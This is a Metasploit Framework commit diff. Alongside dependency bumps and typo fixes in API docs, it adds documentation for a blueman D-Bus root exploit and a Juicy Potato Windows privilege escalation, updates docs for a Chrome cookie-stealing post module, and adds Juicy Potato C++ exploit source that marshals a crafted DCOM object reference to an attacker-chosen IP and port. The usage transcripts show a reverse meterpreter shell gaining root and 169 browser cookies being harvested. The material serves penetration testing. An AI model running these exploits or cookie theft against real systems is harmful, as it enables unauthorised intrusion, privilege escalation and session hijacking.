commit
8308ec1c1d
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.1)
|
||||
metasploit-framework (5.0.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -178,7 +178,7 @@ GEM
|
|||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.58)
|
||||
metasploit_data_models (3.0.2)
|
||||
metasploit_data_models (3.0.4)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
@ -199,7 +199,7 @@ GEM
|
|||
net-ssh (5.1.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.0)
|
||||
nokogiri (1.10.1)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.13.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
|
@ -245,7 +245,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.2)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.44)
|
||||
recog (2.1.45)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
|
|
@ -44,10 +44,10 @@ loofah, 2.2.3, MIT
|
|||
metasm, 1.0.3, LGPL
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.2, "New BSD"
|
||||
metasploit-framework, 5.0.1, "New BSD"
|
||||
metasploit-framework, 5.0.2, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.2, "New BSD"
|
||||
metasploit_data_models, 3.0.4, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
|
@ -59,7 +59,7 @@ nessus_rest, 0.1.6, MIT
|
|||
net-ssh, 5.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.0, MIT
|
||||
nokogiri, 1.10.1, MIT
|
||||
octokit, 4.13.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
|
@ -81,7 +81,7 @@ rails-html-sanitizer, 1.0.4, MIT
|
|||
railties, 4.2.11, MIT
|
||||
rake, 12.3.2, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.1.44, unknown
|
||||
recog, 2.1.45, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
|
|
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
|
@ -328,7 +328,7 @@ module CredentialApiDoc
|
|||
|
||||
#Swagger documentation for /api/v1/credentials/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing credential.'
|
||||
key :description, 'Update the attributes on an existing credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -266,7 +266,7 @@ module HostApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/hosts/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing host.'
|
||||
key :description, 'Update the attributes on an existing host.'
|
||||
key :tags, [ 'host' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -193,7 +193,7 @@ module LoginApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/logins/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing login.'
|
||||
key :description, 'Update the attributes on an existing login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -195,7 +195,7 @@ module LootApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/loots/{id} PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing loot.'
|
||||
key :description, 'Update the attributes on an existing loot.'
|
||||
key :tags, [ 'loot' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -184,7 +184,7 @@ module NoteApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/notes/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing note.'
|
||||
key :description, 'Update the attributes on an existing note.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -187,7 +187,7 @@ module ServiceApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/services/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing service.'
|
||||
key :description, 'Update the attributes on an existing service.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -86,7 +86,7 @@ module SessionApiDoc
|
|||
end
|
||||
|
||||
swagger_path '/api/v1/sessions/{id}' do
|
||||
# Swagger documentation for api/v1/sessions/:id GET
|
||||
# Swagger documentation for /api/v1/sessions/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific session that is stored in the database.'
|
||||
key :tags, [ 'session' ]
|
||||
|
|
|
@ -211,7 +211,7 @@ module VulnApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/vulns/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing vuln.'
|
||||
key :description, 'Update the attributes on an existing vuln.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -173,7 +173,7 @@ module WorkspaceApiDoc
|
|||
|
||||
# Swagger documentation for /api/v1/workspaces/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing workspaces.'
|
||||
key :description, 'Update the attributes on an existing workspace.'
|
||||
key :tags, [ 'workspace' ]
|
||||
|
||||
parameter :update_id
|
||||
|
|
|
@ -0,0 +1,86 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges by exploiting a Python
|
||||
code injection vulnerability in blueman versions prior to 2.0.3.
|
||||
|
||||
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
|
||||
`set_dhcp_handler` function which uses user input in a call to `eval`,
|
||||
without sanitization, resulting in arbitrary code execution as root.
|
||||
|
||||
This module has been tested successfully with blueman version 1.23
|
||||
on Debian 8 Jessie (x64).
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully with:
|
||||
|
||||
* blueman version 1.23 on Debian 8 Jessie (x64)
|
||||
|
||||
Old versions of the `blueman` package are available in [Debian snapshots](https://snapshot.debian.org/).
|
||||
|
||||
The following `/etc/apt/sources.list` configuration will allow a vulnerable
|
||||
version of the `blueman` package to be installed:
|
||||
|
||||
```
|
||||
deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
|
||||
deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
|
||||
```
|
||||
|
||||
Update the package sources with `apt-get -o Acquire::Check-Valid-Until=false update`
|
||||
|
||||
The package can be installed with `apt-get install blueman`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (861348 bytes) to 172.16.191.156
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.156:58863) at 2018-12-24 02:44:25 -0500
|
||||
[+] Deleted /tmp/.DKJWL0TG7sm0M5
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : debian-8-1-x64.local
|
||||
OS : Debian 8.1 (Linux 3.16.0-4-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
## Intro
|
||||
|
||||
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. It needs a CLSID to function, a list of which can be found here: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
|
||||
|
||||
From https://github.com/ohpe/juicy-potato:
|
||||
|
||||
> RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review we found a setup where BITS was intentionally disabled and port 6666 was taken.
|
||||
> We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato.
|
||||
|
||||
For more info see:
|
||||
- [Rotten Potato](https://github.com/foxglovesec/RottenPotato)
|
||||
- [Lonely Potato](https://decoder.cloud/2017/12/23/the-lonely-potato/)
|
||||
- [Juicy Potato](https://ohpe.it/juicy-potato/)
|
||||
|
||||
## Usage
|
||||
|
||||
The session you wish to escalate must already have the SeImpersonate privilege.
|
||||
|
||||
![image](https://user-images.githubusercontent.com/984628/51068493-2b6ef500-161f-11e9-9287-1eac0f942f87.png)
|
||||
|
||||
## Scenarios:
|
||||
|
||||
Example with BITS CLSID (NT AUTHORITY\SYSTEM):
|
||||
|
||||
![image](https://user-images.githubusercontent.com/984628/50982077-aa1f4180-14fc-11e9-94f4-1a50ce765e0f.png)
|
||||
|
||||
Example with UPNP CLSID (NT AUTHORITY\LOCAL SERVICE):
|
||||
|
||||
![image](https://user-images.githubusercontent.com/984628/50982170-d76bef80-14fc-11e9-9124-ab43d69cb15c.png)
|
|
@ -1,16 +1,20 @@
|
|||
## Gather Chrome Cookies
|
||||
|
||||
Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user.
|
||||
Reads all cookies from the Default Chrome Profile on the target machine. Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/).
|
||||
|
||||
## Opsec
|
||||
|
||||
This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.
|
||||
### Disk writes
|
||||
This writes randomly-named files to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.
|
||||
|
||||
The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`.
|
||||
|
||||
### Running processes
|
||||
On non-Windows non-meterpreter sessions, a headless Chrome process will be left running after module execution is completed. You can still find and kill this process manually after the module execution is completed.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This technique works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX. Windows shell sessions are currently not supported.
|
||||
This module works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX.
|
||||
|
||||
Chrome does not need to be running on the target machine for this module to work.
|
||||
|
||||
|
@ -40,14 +44,14 @@ Chrome does not need to be running on the target machine for this module to work
|
|||
|
||||
## Scenarios
|
||||
|
||||
### Linux (or OS X)
|
||||
### Windows
|
||||
|
||||
Suppose you've got a session on the target machine.
|
||||
|
||||
To extract the target user's Chrome cookies
|
||||
|
||||
```
|
||||
msf > use post/multi/gather/chrome_cookies
|
||||
msf > use post/multi/gather/chrome_cookies
|
||||
msf post(multi/gather/chrome_cookies) > options
|
||||
|
||||
Module options (post/multi/gather/chrome_cookies):
|
||||
|
@ -57,15 +61,24 @@ Module options (post/multi/gather/chrome_cookies):
|
|||
CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS)
|
||||
REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol
|
||||
SESSION 1 yes The session to run this module on.
|
||||
WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily
|
||||
WRITEABLE_DIR no Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\Local\Temp)
|
||||
|
||||
msf post(multi/gather/chrome_cookies) > set session <your session id>
|
||||
session => <your session id>
|
||||
|
||||
msf post(multi/gather/chrome_cookies) > run
|
||||
|
||||
[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-web-security --disable-plugins --user-data-dir="/home/<username>/.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh
|
||||
[+] 1473 Chrome Cookies stored in /home/<local_username>/.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt
|
||||
[*] Determining session platform
|
||||
[*] Platform: windows
|
||||
[*] Type: meterpreter
|
||||
[*] Activated Chrome's Remote Debugging (pid: 9452) via "\Program Files (x86)\Google\Chrome\Application\chrome.exe" --window-position=0,0 --enable-logging --v=1 --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu --user-data-dir="\Users\msfdev\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=9222 \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
|
||||
[+] Found Match
|
||||
[+] 169 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065112_default_172.22.222.200_chrome.gather.co_082863.txt
|
||||
[*] Removing file \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
|
||||
[*] Removing file \Users\msfdev\AppData\Local\Google\Chrome\User Data\chrome_debug.log
|
||||
[*] Post module execution completed
|
||||
msf5 post(multi/gather/chrome_cookies) >
|
||||
|
||||
```
|
||||
|
||||
## Future features
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
.vs
|
||||
.DS_Store
|
||||
Debug/
|
||||
Release/
|
||||
ipch/
|
|
@ -0,0 +1,31 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.26403.7
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotato", "JuicyPotato\JuicyPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Release|Win32
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Release|Win32
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {3B4F867D-2997-4A0F-A8AD-9D4729DA3439}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,41 @@
|
|||
#pragma once
|
||||
#include <mutex>
|
||||
#include <queue>
|
||||
#include "stdafx.h"
|
||||
|
||||
typedef std::mutex Mutex;
|
||||
template<typename ITEM> class BlockingQueue{
|
||||
public:
|
||||
void push(const ITEM& value) { // push
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
queue.push(std::move(value));
|
||||
condition.notify_one();
|
||||
}
|
||||
bool try_pop(ITEM& value) { // non-blocking pop
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
if (queue.empty()) return false;
|
||||
value = std::move(queue.front());
|
||||
queue.pop();
|
||||
return true;
|
||||
}
|
||||
ITEM wait_pop() { // blocking pop
|
||||
std::unique_lock<Mutex> lock(mutex);
|
||||
condition.wait(lock, [this] {return !queue.empty(); });
|
||||
ITEM const value = std::move(queue.front());
|
||||
queue.pop();
|
||||
return value;
|
||||
}
|
||||
bool empty() const { // queue is empty?
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
return queue.empty();
|
||||
}
|
||||
void clear() { // remove all items
|
||||
ITEM item;
|
||||
while (try_pop(item));
|
||||
}
|
||||
private:
|
||||
Mutex mutex;
|
||||
std::queue<ITEM> queue;
|
||||
std::condition_variable condition;
|
||||
};
|
||||
|
|
@ -0,0 +1,218 @@
|
|||
#include "stdafx.h"
|
||||
#include "IStorageTrigger.h"
|
||||
#include <string>
|
||||
#include <wchar.h>
|
||||
|
||||
extern PCSTR DEF_PORT;
|
||||
extern char dcom_port[12];
|
||||
extern char dcom_ip[17];
|
||||
|
||||
IStorageTrigger::IStorageTrigger(IStorage *istg) {
|
||||
_stg = istg;
|
||||
m_cRef = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
|
||||
*pSize = 1024;
|
||||
//printf("IStorageTrigger GetMarshalSizeMax\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
|
||||
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
|
||||
//printf("IStorageTrigger GetUnmarshalClass\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
|
||||
// Marshalling Port & Ip address of COM Server
|
||||
|
||||
short sec_len = 8;
|
||||
int port_len = strlen(dcom_port);
|
||||
char *ipaddr = dcom_ip;
|
||||
unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6;
|
||||
unsigned short total_length = (str_bindlen + sec_len) / 2;
|
||||
unsigned char sec_offset = str_bindlen / 2;
|
||||
port_len = port_len * 2;
|
||||
byte data_0[] = {
|
||||
0x4d,0x45,0x4f,0x57,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xcc,0x96,0xec,0x06,0x4a,0xd8,0x03,0x07,0xac,0x31,0xce,0x9c,0x02,0x9d,0x53,0x00,0x9f,0x93,0x2c,0x04,
|
||||
0xcd,0x54,0xd4,0xef,0x4b,0xbd,0x1c,0x3b,0xae,0x97,0x21,0x45
|
||||
};
|
||||
|
||||
byte *dataip;
|
||||
int len = strlen(ipaddr) * 2;
|
||||
dataip = (byte *)malloc(len);
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
if (i % 2)
|
||||
dataip[i] = *ipaddr++;
|
||||
else
|
||||
dataip[i] = 0;
|
||||
}
|
||||
|
||||
byte data_4[] = { 0x00,0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
|
||||
0xff, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
byte data_1[4];
|
||||
data_1[0] = total_length;
|
||||
data_1[1] = 0;
|
||||
data_1[2] = sec_offset;
|
||||
data_1[3] = 0;
|
||||
byte *data_3;
|
||||
data_3 = (byte *)malloc((port_len));
|
||||
byte *strport = (byte *)&dcom_port[0];
|
||||
|
||||
for (int i = 0; i < (port_len); i++)
|
||||
{
|
||||
if (i % 2)
|
||||
data_3[i] = *strport++;
|
||||
else
|
||||
data_3[i] = 0;
|
||||
}
|
||||
|
||||
int size = sizeof(data_0) + sizeof(data_1) + len + 2 + 1 + port_len + sizeof(data_4);
|
||||
byte * marshalbuf = (byte *)malloc(size);
|
||||
int r = 0;
|
||||
memcpy(&marshalbuf[r], data_0, sizeof(data_0));
|
||||
r = sizeof(data_0);
|
||||
memcpy(&marshalbuf[r], data_1, sizeof(data_1));
|
||||
r = r + sizeof(data_1);
|
||||
byte tmp1[] = { 0x07 };
|
||||
memcpy(&marshalbuf[r], tmp1, 1);
|
||||
r = r + 1;
|
||||
memcpy(&marshalbuf[r], dataip, len);
|
||||
r = r + len;
|
||||
byte tmp[] = { 0x00,0x5b };
|
||||
memcpy(&marshalbuf[r], tmp, 2);
|
||||
r = r + 2;
|
||||
memcpy(&marshalbuf[r], data_3, port_len);
|
||||
r = r + (port_len);
|
||||
memcpy(&marshalbuf[r], data_4, sizeof(data_4));
|
||||
|
||||
ULONG written = 0;
|
||||
pStm->Write(&marshalbuf[0], size, &written);
|
||||
free(marshalbuf);
|
||||
free(dataip);
|
||||
free(data_3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
|
||||
*ppv = 0;
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
|
||||
_stg->Commit(grfCommitFlags);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
|
||||
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
|
||||
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
|
||||
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
|
||||
_stg->DestroyElement(pwcsName);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
|
||||
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
|
||||
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
|
||||
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
|
||||
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Revert() {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
|
||||
_stg->Stat(pstatstg, grfStatFlag);
|
||||
|
||||
//Allocate from heap because apparently this will get freed in OLE32
|
||||
const wchar_t c_s[] = L"hello.stg";
|
||||
|
||||
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
|
||||
wcscpy(s, c_s);
|
||||
pstatstg[0].pwcsName = s;
|
||||
return 0;
|
||||
}
|
||||
|
||||
///////////////////////IUknown Interface
|
||||
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
|
||||
// Always set out parameter to NULL, validating it first.
|
||||
if (!ppvObj) {
|
||||
//printf("QueryInterface INVALID\n");
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
if (riid == IID_IUnknown)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
|
||||
}
|
||||
else if (riid == IID_IStorage)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
}
|
||||
else if (riid == IID_IMarshal)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
}
|
||||
else
|
||||
{
|
||||
*ppvObj = NULL;
|
||||
//printf("QueryInterface NOINT\n");
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
// Increment the reference count and return the pointer.
|
||||
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
|
||||
ULONG IStorageTrigger::AddRef() {
|
||||
m_cRef++;
|
||||
return m_cRef;
|
||||
}
|
||||
|
||||
ULONG IStorageTrigger::Release() {
|
||||
// Decrement the object's internal counter.
|
||||
ULONG ulRefCount = m_cRef--;
|
||||
return ulRefCount;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
#pragma once
|
||||
#include "Objidl.h"
|
||||
|
||||
class IStorageTrigger : public IMarshal, public IStorage {
|
||||
private:
|
||||
IStorage *_stg;
|
||||
int m_cRef;
|
||||
public:
|
||||
IStorageTrigger(IStorage *stg);
|
||||
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
|
||||
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
|
||||
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
|
||||
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
|
||||
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
|
||||
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
|
||||
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
|
||||
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
|
||||
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
|
||||
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
|
||||
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
|
||||
